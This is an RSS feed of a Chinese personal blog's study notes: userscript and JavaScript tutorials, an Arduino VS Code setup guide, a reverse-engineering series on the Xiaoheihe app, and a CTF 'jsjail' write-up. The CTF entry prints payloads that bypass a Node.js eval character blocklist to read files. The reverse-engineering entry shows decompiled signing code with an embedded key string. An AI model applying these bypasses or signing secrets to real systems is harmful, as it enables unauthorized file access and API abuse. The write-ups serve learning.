Chr_小屋 - 学习笔记
type: channel
link: https://blog.chrxw.com/category/guide
description: 随性记录的笔记
items: 小黑盒逆向分析笔记（六）完结
items: 【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
items: 【油猴脚本教程】 P0 开发环境配置
items: 小黑盒逆向分析笔记（五）【未完成】
items: 分享一道CTF题 jsjail 题解
items: 【油猴脚本开发教程】文章索引
items: VS Code Arduino开发环境配置
items: 油猴脚本不求人！零基础油猴脚本编写指南
items: 小黑盒逆向分析笔记（四）
items: 小黑盒逆向分析笔记（三）

小黑盒逆向分析笔记（六）完结
type: item
date: 2023-04-03T12:10:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] [post cid="1634"/] 前情提要 已经毕业半年多了，有关于小黑盒的开发也搁置很久了，感觉也没有那个精力继续开发了，记录一下最近的算法研究，就当给大学生活做个小结。 @> 本文适用于小黑盒 1.3.262，小黑盒历史版本参考我的仓库 @> 全文评论后可见

【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
type: item
date: 2022-08-08T23:37:00+08:00
description: P1 开发者工具的使用 与 JavaScript 基础教程 教程索引 视频链接 (上) 视频链接 (下) 开发者工具的使用 F12 或者 菜单 -> 更多工具 -> 开发者工具 调出 切换中文 更改语言后重新打开开发者工具生效 或者 界面简介 元素 HTML 原文 HTML节点的属性 控制台 在任意Tab按ESC可以在下方调出 源代码 浏览网站中的所有资源 调试代码 网络 抓包工具 应用 查看本地储存的内容 Cookie Session LocalStorage JavaScript 基础教程 一些 JavaScript 学习资源 MDN 文档： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript 廖雪峰： https://www.liaoxuefeng.com/wiki/1022910821149312 菜鸟教程： https://www.runoob.com/js/js-tutorial.html uTools 插件 基本特性 单线程 弱类型 / 动态类型 大小写敏感 ' ," 通用 不强制使用分号 (建议统一) 语法很灵活 运行时: v8, NodeJS 基础语法 注释 //单行注释 /* 多行注释 */ 变量与常量 赋值操作符 var let const //定义变量/常量 var a = 1; var b; let c = 1; let d; const e = 4; //a,b,c,d,e 1 undefined 1 undefined 4 console.log("a,b,c,d,e",a,b,c,d,e); //Uncaught SyntaxError: Missing initializer in const declaration const f; //赋新值 a = 2; c = 3; //Uncaught TypeError: Assignment to constant variable. e = 1; //重复定义 //undefined var a = 6; let c = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared let a = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared const a = 6; //常量覆盖 const e = 6; //e 6 console.log("e",e); //在子域中覆盖(ES6引入) var ts = 1; let he = 2; { var ts = "aaa"; let he = "yyy"; //ts,he aaa yyy console.log("ts,he",ts,he); } //ts,he aaa 2 console.log("ts,he",ts,he); var 定义一个 变量 let 定义一个仅在作用域内生效的 变量 const 定义一个 常量，一旦定义无法修改，但是可以覆盖定义 使用相同的操作符可以覆盖定义同名的变量，但是不建议这么使用 使用 let 覆盖定义时不影响父作用域的同名变量 强烈推荐优先使用 let 定义变量，如果值不需要改变，建议使用 const 定义成常量 函数提升 //函数提升 foo(); // "bar" function foo() { console.log("bar"); } //这种写法的函数不会被提升 bar(); // 类型错误：bar 不是一个函数 var bar = function() { console.log("bar2"); }; 作用域 { } 定义代码作用域 (ES6的内容) 使用 let 定义的变量，在子域可以访问父域的变量，但是父域不能访问子域的变量 函数中定义的内容外部无法访问 子域中定义的函数，父域无法访问 //顶级作用域(最外层的作用域) let x = 114; { //子作用域 let b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { let c = 233; //x,c 114 233 console.log("x,c", x, c); //Uncaught ReferenceError: b is not defined console.log("b", b); } xbz(); //匿名函数同理 (() => { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, …

【油猴脚本教程】 P0 开发环境配置
type: item
date: 2022-08-01T00:28:00+08:00
description: P0 开发环境配置 教程索引 视频链接 下载工具 VSCode : https://code.visualstudio.com/#alt-downloads Git：https://git-scm.com/download/win 安装 一路下一步，推荐勾选“添加右键菜单” 推荐把Git默认编辑器改成Vscode VSCode配置 插件安装 Chinese —— 简体中文语言包 EsLint —— JS语法检查 GitLens —— 源代码管理工具（可选） 左边栏菜单 Git简介与使用 工作流程 修改文件 -> 暂存 -> 提交 配置用户名和邮箱 暂存 提交 查看提交记录和文件历史 配置远程仓库 直接通过账号密码连接到GitHUB 生成SSH密钥对，手动添加远程仓库 GreasyFork的使用 编写你的脚本 添加必要的元信息 发布你编写的脚本 使用WebHook自动更新 为远程代码仓库配置 Greasy Fork 的 WebHook 为指定脚本配置仓库中脚本的文件路径 （Raw链接） 这个时候GreasyFork中的脚本就会跟远程仓库保持同步

小黑盒逆向分析笔记（五）【未完成】
type: item
date: 2021-11-19T13:28:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] 前情提要 距离上一篇文章已经过去一年多了，前两天心血来潮找了最新版本研究了一下，熬了两天夜也没整明白，不打算继续研究下去了，做个笔记记录下分析过程。 @> 本文适用于小黑盒 1.3.191，小黑盒历史版本参考我的仓库 @> 全文评论后可见

分享一道CTF题 jsjail 题解
type: item
date: 2021-10-23T19:03:00+08:00
description: 前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了

【油猴脚本开发教程】文章索引
type: item
date: 2021-10-19T18:24:00+08:00
description: 前言 之前写过一篇教程，那个时候经验有限，很多地方讲的不是很明白 所以这是一篇重制版教程 计划每周一更，每次30min左右，大纲讲完以后会讲解一些例程 教程大纲 大概会涉及到的内容，顺序未定 开发环境配置（P0 文章 视频） VS Code Git 使用基础 远程 Git 仓库 脚本分发（P0 文章 视频） Greasyfork 使用 使用 WebHook 自动更新 开发者工具简介（P1 文章 视频） 元素 控制台 源代码 网络 应用 JavaScript基础 （P1 文章 视频） 变量与常量 作用域 数据类型与类型转换 执行流 Window 对象 Document 对象 Node 对象 Element 对象 初识油猴脚本 (P2 文章 视频) 两个简单的脚本源码解析 油猴脚本组成 (P2 文章 视频) 元信息 脚本 DOM 元素操作 数据持久化 localStorage 自定义 CSS 油猴脚本组成 元信息 脚本 库 CSS选择器与XPath语法基础 DOM元素操作 Event事件 数据持久化 序列化与反序列化 自定义CSS 库的使用与开发 正则表达式基础 同步函数与异步函数和并发 网络请求（XHR/Fetch） 油猴API 开发实战…… 联系方式 有任何问题直接留言或者私信即可 博客留言（Chrxw.com） B站私信 （Chr_@5805394） 电子邮件（chr@chrxw.com）

VS Code Arduino开发环境配置
type: item
date: 2021-04-25T15:48:00+08:00
description: 前言 最近在学习单片机开发，用的是ESP 8266这块芯片，Arduino IDE实在是用不习惯，研究了下怎么配置VS Code，简单的做个记录。 插件安装 在扩展商店里搜索arduino，然后安装微软开发的那个插件即可 Arduino 插件配置 手动添加这两行即可： "arduino.additionalUrls": "附加开发版管理器的网址", "arduino.path": "C:\\Program Files (x86)\\Arduino" arduino.additionalUrls 对应ArduinoIDE里的设置项（如图） arduino.path 即Arduino IDE的安装路径 i> 插件配置以后需要重启VS Code才会生效 Arduino Cli 安装 从 Arduino-Cli Releases 下载对应操作系统的版本，然后丢进Arduino IDE安装目录，最后在VS Code的插件设置里勾选Use Arduino Cli 终端乱码解决方法 安装最新版本的Arduino IDE后终端显示会不正常，原因是中文环境下终端默认的代码页为936，只能显示GBK编码的文本，而最新版本的Arduino IDE输出的文本编码是UTF-8，对应编码页是65001，Arduino插件中包含代码页的判定，但是好像忘记设置代码页了，作用存疑，稍微修改一下即可。 涉及到的文件位置为%HOMEPATH%\.vscode\extensions\vsciot-vscode.vscode-arduino-0.4.0\out\src\common\util.js !> 插件版本不同文件夹后缀名称也会不同，自行修改即可 在第207行左右，把const chcp = child_process.execSync("chcp.com");改成const chcp = child_process.execSync(chcp.com ${codepage});即可 重启VS Code生效。 顺手提交了一个PR，不知道会不会采纳。

油猴脚本不求人！零基础油猴脚本编写指南
type: item
date: 2021-02-08T22:57:00+08:00
description: 前言 本文首发于我的博客和其乐论坛，未经授权禁止转载 本文全程使用原生JavaScript进行编程，不使用像jQuery这样的第三方库 视频链接 零基础油猴脚本编写指南【上】 （对应0x01~0x05） 0x00 前置知识 本节简单的介绍一下一些名词的概念，了解为主，直接跳过也是可以的 HTML、CSS和JS HTML即超文本标记语言，它用来描述各种网页元素，类似与一份清单，浏览器读取以后根据它来加载对应的资源 CSS即层叠样式表，它只用来描述网页元素的外观，还可以添加少许动画，但是不影响功能 JS即JavaScript，它是一种网页脚本语言，用来让静态的网页能够响应各种动作，还可以挖矿 如果把HTML比作木偶，那么CSS就是木偶的衣服，JS就是木偶的提线，用来操控木偶 油猴和浏览器 当你访问链接的时候，浏览器会先下载链接对应的文件（通常是一个HTML文件），然后根据HTML描述的对象列表，来下载图片、视频等资源，有的CSS和JS内嵌在HTML文件里，有的则是单独的文件，等必要的资源加载完成以后，浏览器才能生成可以交互的网页 油猴实际上是一个加载器，它把用户脚本安插在最开始获取到的HTML文件中，这样浏览器加载网页的时候，也会加载特定的用户脚本，这样我们就能够通过编写用户脚本来修改网页了 HTML5和DOM HTML5是现行的HTML标准，DOM即文档对象模型，是一用对象表示HTML标签的方法，通过DOM，我们可以简单的修改文档对象的属性，来轻松修改HTML标签的内容 0x01 初识开发者工具 工欲善其事必先利其器，本节简单的介绍一下开发者工具的使用。 本节以我的博客作为演示，地址：chrxw.com 个人比较喜欢Firefox的开发者工具，以下介绍均使用Firefox进行演示，如果使用Chrome的话可能布局会有细微差异，不过功能是类似的。 Chrome自带的开发者工具貌似没有汉化，建议使用别的Chromium内核的浏览器（比如新版Edge），功能都差不多。 在浏览器中按F12即可打开开发者工具 查看器，左侧可以查看页面的HTML内容，右侧显示的是选中的DOM元素的CSS 控制台，可以运行自己编写的JS代码。 也可以在设置里打开“分离式控制台”，这样就可以在所有TAB里都显示控制台了。 调试器，可以用来单步调试JS 网络，可以查看浏览器的网络请求 储存，在这个TAB中可以查看网站在本地保存的内容，最常用的是Cookie，其次是LocalStorge（本地储存），还有个由浏览器自动管理的Session（会话储存），JS可以访问的只有Cookie和LocalStorge。 0x02 初识DOM 本节通过使用开发者工具，简单的演示一下如何操作DOM元素，以我的博客作为演示，地址：chrxw.com 首先打开开发者工具，然后激活选择器，然后点击“标题”，这样在右边的查看器中就会显示我们点击的对象 右键高亮的元素，然后点击“在控制台使用”（如果是Chromium或者Chrome，点击“复制”/“Copy”->“复制JS路径”/“Copy JS path”，然后把复制结果粘贴到控制台中） Firefox自动创建了一个temp0变量，按一下回车，可以看到控制台输出了一个DOM元素，点一下左边的箭头展开，可以看到这个对象的各种属性。 接下来我们尝试修改一下它的内容 temp0.textContent = 'hello world'; 按回车执行，然后可以看到，网页的标题已经被修改了 接着我们修改一下CSS，让它居中显示 temp0.style.textAlign='center'; 接下来我们创建一个新的DOM元素，然后插入到网页中 let btn = document.createElement('button'); btn.textContent = '按钮'; btn.addEventListener('click',() => { alert('hello world'); }); temp0.appendChild(btn); 点一下新出现的按钮，可以看到消息弹窗 代码讲解： PS： document 也是DOM元素，它代表整个网页，其他DOM元素都是它的子集。 let btn = document.createElement('button'); btn.textContent = '按钮'; 这两行代码创建了一个button对象，它内部的文本为按钮，由浏览器自动生成的HTML表达式为 按钮 btn.addEventListener('click',() => { alert('hello world'); }); 这三行代码为btn对象添加了事件监听器，addEventListener的第一个参数是事件监听器的名称，第二个参数…

小黑盒逆向分析笔记（四）
type: item
date: 2020-08-21T21:45:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] 前情提要 就在我写完上一篇文章后没过一个礼拜，小黑盒就又改 hkey 计算方法了，断断续续花了一礼拜终于搞清楚它的算法。 在这里分享一下逆向的过程。 @> 本文适用于小黑盒 1.3.121 ~ 1.3.124 ，小黑盒历史版本参考我的仓库 Smali 分析 使用Jadx打开安装包，找到hkey的计算函数 可以看到两个版本的 hkey 计算方式略有区别，最明显的就是替换的字符改了 修改以后还是提示参数错误，肯定是 encode 函数也改了，接下来换用IDA So 分析 先贴一下IDA生成的反汇编代码，也不用看的很仔细 int __fastcall encode(int *a1, int a2, int a3, int a4, int a5) { int *v5; // r9 int v6; // r11 _DWORD *v7; // r4 char *v8; // r5 char *v9; // r0 size_t v10; // r0 int v11; // r10 int v12; // r0 int v13; // r0 _DWORD *v14; // r2 const char *v15; // r1 char *v16; // r10 const char *v17; // r11 size_t v18; // r4 size_t v19; // r4 signed int v20; // r8 char *v21; // r6 char *v22; // r0 int v23; // r12 int i; // lr int v25; // r5 int v26; // r0 unsigned int v27; // r4 int v28; // r3 unsigned int v29; // r1 int v30; // r8 const char *v31; // r4 int j; // r1 int k; // r0 int v34; // r0 size_t v35; // r5 size_t v36; // r6 char *v37; // r5 char *v38; // r0 int v39; // r1 int v40; // r12 int l; // lr int v42; // r6 int v43; // r0 unsigned int v44; // r4 int v45; // r3 unsigned int v46; // r2 int result; // r0 int v48; // [sp+0h] [bp-48h] int v49; // [sp+4h] [bp-44h] int *v50; // [sp+8h] [bp-40h] char *nptr; // [sp+Ch] [bp-3Ch] int v52; // [sp+10h] [bp-38h] _DWORD *v53; // [sp+14h] [bp-34h] char s; // [sp+19h] [bp-2Fh] int v55; // [sp+24h] [bp-24h] v5 = a1; v6 = a4; v7 = &_stack_chk_guard; if ( j_check_signature(a1) != 1 ) goto LABEL_28; v53 = &_stack_chk_guard; v8 = (char *)&v48 - ((strlen(KEYTWO[0]) + 62) & 0xFFFFFFF8); v9 = strcpy(v8, KEYTWO[0]); v10 = strlen(v9); _aeabi_memcpy(&v8[v10], "/xDu7EuCQfjaRk4TBKXrnhrlnkz@%$^&*(-_-)hahaha(-_-)_time=", 56); v7 = 0; v11 = (*(int (__fastcall **)(int *, int, _DWORD))(*v5 + 676))(v5, v6, 0); v12 = *v5; v52 = a5; v13 = (*(int (__fastcall **)(int *, int, _DWORD))(v12 + 676))(v5, a5, 0); if ( v11 ) { v14 = v53; if ( !v13 ) goto LABEL_26; v49 = v6; v50 = &v48; v15 = (const char *)v11; v16 = (cha…

小黑盒逆向分析笔记（三）
type: item
date: 2020-08-06T12:01:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] 静态分析 之前解决了验证码参数hkey的计算，但是还有一种加密请求，本文就是找出他的加密方式 这是参加Roll房的请求，请求参数中并没有房间ID，猜测这个参数在加密后的请求体中。 @> 全文评论后可见 后续 [post cid="1383"/]